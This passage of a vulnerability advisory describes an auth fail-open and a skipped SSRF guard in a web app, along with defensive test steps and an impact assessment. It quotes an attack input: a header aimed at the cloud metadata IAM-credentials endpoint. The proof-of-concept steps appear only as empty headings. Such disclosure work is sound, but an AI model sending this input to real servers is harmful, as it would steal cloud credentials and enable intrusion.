Chained together: an unauthenticated attacker supplies x-base-url: http://169.254.169.254/latest/meta-data/iam/security-credentials/ to any generation endpoint, and the server fetches the cloud IAM role credentials and returns them in the response. No prior account, no token, no local foothold required.

Root Cause

The middleware is the sole authentication gate for all API routes. When ACCESS_CODE is not set - the default state per .env.example - every request to every route passes immediately. There is no fallback mechanism, no warning emitted, no alternative auth check. The fail-open is unconditional and silent. This exposes 70 API endpoints including generation, persistence, media proxy, extraction, and AI execution routes to any unauthenticated caller.

The validateUrlForSSRF function in lib/server/ssrf-guard.ts already handles environment-specific exceptions correctly via ALLOW_LOCAL_NETWORKS. The NODE_ENV gate in each route handler is entirely redundant as a dev-mode affordance but catastrophic as a security boundary: it disables SSRF validation globally across staging, preview, CI/CD, and self-hosted deployments where NODE_ENV is not explicitly set to 'production'.

Proof of Concept

Step 1 - Enumerate IMDS roles

Expected response (IMDS passthrough):

Step 2 - Exfiltrate full IAM credentials

Expected response:

Step 3 - Leverage credentials

Variant - Internal service pivot (Redis, Postgres)

Attack Vector

Preconditions:

• Application is deployed in an environment without ACCESS_CODE set (default configuration).
• NODE_ENV is not strictly set to 'production' (e.g., staging, dev, self-hosted, or misconfigured container).
• Server runs on cloud hosting infrastructure with an accessible metadata endpoint (e.g., EC2 without IMDSv2 token hop limit enforcement).

Verification & Defensive Validation Logic

To confirm reachability and validate security defenses without deploying malicious payloads:

1. Auth Gate Trace:
   • When process.env.ACCESS_CODE is undefined, middleware.ts returns NextResponse.next(). Sending an HTTP request with no auth headers to any protected endpoint (e.g., POST /api/generate/image) yields an endpoint-level response (e.g., 400/401 for provider configuration) rather than a 401 Access Code Required rejection.
2. SSRF Guard Execution Trace:
   • With NODE_ENV="staging" or NODE_ENV="development", inspect whether validateUrlForSSRF is called. Because of if (clientBaseUrl && process.env.NODE_ENV === 'production'), execution jumps past the validation block and attempts network connection to the specified base URL.
3. Defensive Regression Test Model:
   • A mock server or test runner setting NODE_ENV='development' and supplying a loopback URL http://127.0.0.1:9999 verifies whether the request is rejected with INVALID_URL (403) or allowed to proceed to network transport. In the unpatched state, the request attempts socket connection; in the patched state, it is immediately rejected with HTTP 403.

Impact & Blast Radius

• Confidentiality: CRITICAL - Full read access to internal network services and cloud instance metadata. In AWS/GCP/Azure deployments, this enables exfiltration of IAM temporary credentials, KMS-encrypted configuration secrets, internal database connection strings, and internal API tokens.
• Integrity: HIGH - Using exfiltrated cloud credentials, an attacker can modify infrastructure resources, alter S3 bucket contents, overwrite application artifacts, or tamper with runtime databases.
• Availability: HIGH - Cloud credentials with administrative or termination privileges can be leveraged to alter or delete cloud infrastructure components.
• Scope: CHANGED - The vulnerability breaks the application boundary and directly compromises the underlying cloud infrastructure and control plane.
• Lateral Movement - Exfiltrated IAM roles provide a pivot path into internal VPC subnets, cross-account roles, and private datastores unreachable from the public internet.